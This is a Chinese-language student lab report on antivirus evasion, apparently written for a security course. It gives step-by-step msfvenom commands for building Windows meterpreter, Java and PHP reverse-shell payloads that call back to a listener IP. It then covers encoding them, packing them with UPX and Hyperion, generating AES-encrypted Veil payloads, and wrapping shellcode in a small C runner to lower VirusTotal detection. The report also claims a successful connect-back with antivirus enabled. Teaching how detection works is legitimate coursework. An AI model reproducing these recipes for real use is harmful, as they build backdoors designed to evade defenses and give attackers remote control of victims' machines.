Exp3-免殺原理與實踐
Exp3-免殺原理與實踐
目錄- Exp3-免殺原理與實踐
1 基礎問題回答
- 1.1 殺軟是如何檢測出惡意程式碼的?
- 1.2 免殺是做什麼?
- 1.3 免殺的基本方法有哪些?
- 1.4 開啟殺軟能絕對防止電腦中惡意程式碼嗎?
2 實驗環境
免殺測試平臺:https://www.virustotal.com/
3 實踐內容
3.1 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
3.1.1 檢測實驗2中生成的後門程式
3.1.2 編碼一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell1.exe
發現一個奇妙的事情,不編碼殺軟還殺不出來,一編碼大多數殺軟就殺出來了,這裡我有一個猜測,殺軟檢測的特徵碼是unicode_mixed編碼器。還有一種可能,就是編碼後恰好將原有的碼編譯成了可被殺軟檢測的特徵碼。
3.1.2 編碼10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell10.exe
這裡就驗證了我們3.1.1的猜想,本身的反彈連線殺軟是殺不出來的,在他編碼後卻可以被殺出來,所以,殺軟檢測的特徵碼是unicode_mixed編碼器的機器碼。
- -e選擇編碼器,-b是payload中需要去除的字元,該命令中為了使'\x00'不出現在shellcode中,因為shellcode以'\x00'為結束符,-i設定迭代次數
3.2 生成jar檔案
JAR檔案是一種歸檔檔案,以ZIP格式構建,以.jar為副檔名。
msfvenom -p java/shell_reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f jar > shell.jar
生成壓縮包檔案後檢測率明顯降低了,且有一些殺軟都無法檢測。
後續如果要自己寫免殺,且我要使用jar格式的話,直接找上圖中的防毒軟體哈哈哈哈哈哈哈
3.3 生成php檔案
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 x> shell.php
檢測率明顯降低了很多
3.4 veil,加殼工具
3.4.1 veil
3.4.1.1 下載(其實先下載wine32會快點)
sudo apt-get install veil-evasion
下載成功後
cd /usr/share/veil/config
vim setup.sh
將250行左右的內容修改為 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功後
veil
等待安裝
3.4.1.2 使用
veil
use evasion 或者 use 1
use c/meterpreter/rev_tcp.py
set LHOST 172.30.7.176
set LPORT 1227
generate
輸入檔名的時候資訊量儘量全面,免得檔案多了會混淆
輸入list可以檢視各種模式
3.4.2 加殼
upx shell10.exe -o shell10_upx.exe
加密過的程式碼資訊熵太高,也會被查出來(資訊密度太大),不過相比不加殼來說還是有點效果。
3.5 使用C + shellcode程式設計
3.5.1 生成c檔案,得到機器碼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f c
3.5.2 補充程式碼shell_c.c(注意縮排,vim裡調整更方便)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
3.5.3 跨平臺交叉編譯
i686-w64-mingw32-g++ shell_c.c -o shell_c.exe
按照常理來說,c編譯應該是會跟直接生成exe一樣殺不出來才對,而這裡卻殺出來了,但是比編碼要強一點,我在想會不會是因為編譯平臺的原因,雖然是跨平臺交叉編譯,但是在Linux端編譯被記錄下來了,就像這個例子:一個exe檔案卻在Linux平臺編譯,有點可疑。
3.6 通過組合應用各種技術實現惡意程式碼免殺
3.6.1 c+shellcode+Hyperion
3.6.1.1 下載Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
(如果拒絕連線:1、sudo vim /etc/hosts
2、新增一個條目 199.232.28.133 raw.githubusercontent.com)
下載Hyperion2.2
unzip Hyperion-2.2.zip
3.6.1.2修改makefile,make
vim Makefile
編譯方法改成交叉編譯i686-w64-mingw32-gcc
make
3.6.1.3 加殼
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe
注意要在一個資料夾內,最好是在Hyperion2.2資料夾內,要不然找不到執行的程式位置
3.6.2 python+aes_encrypt
3.6.2.1 開啟veil,選擇Evasion
veil
use 1
list##尋找palyload
3.6.2.2 使用aes_encrypt_py生成後門
use python/shellcode_inject/aes_encrypt.py
generate
選擇2
這裡的原理便是使用了資料加密的方式進行多次編譯後門軟體
3.7 附加題:用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功
實驗體會與總結
在第一個此實驗第一題編碼中,發現一個奇妙的事情:不編碼殺軟還殺不出來,一編碼大多數殺軟就殺出來了,這裡我有一個猜測,殺軟檢測的特徵碼是unicode_mixed編碼器。還有一種可能,就是編碼後恰好將原有的碼編譯成了可被殺軟檢測的特徵碼。編碼十次後發現檢測率驚人相似,只減少了一個。這就驗證了我們的猜想了,就是殺的unicode_mixed的特徵碼。